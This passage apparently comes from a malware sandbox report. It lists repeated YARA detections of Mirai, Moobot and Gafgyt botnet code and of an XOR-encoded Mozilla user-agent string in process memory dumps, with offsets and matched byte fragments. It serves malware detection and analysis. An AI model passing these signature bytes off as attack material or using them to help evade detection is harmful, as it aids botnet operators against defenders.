2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7198.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6726.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7100.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6240.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6240.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6240.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6240.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6240.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6240.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7031.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7232.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7232.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7232.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7232.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7232.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7232.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6851.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6851.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6851.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6851.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6851.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6851.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6628.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6754.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7330.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7330.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7330.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7330.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7330.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7330.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6589.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6547.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6602.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6977.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6977.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6977.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6977.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6977.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 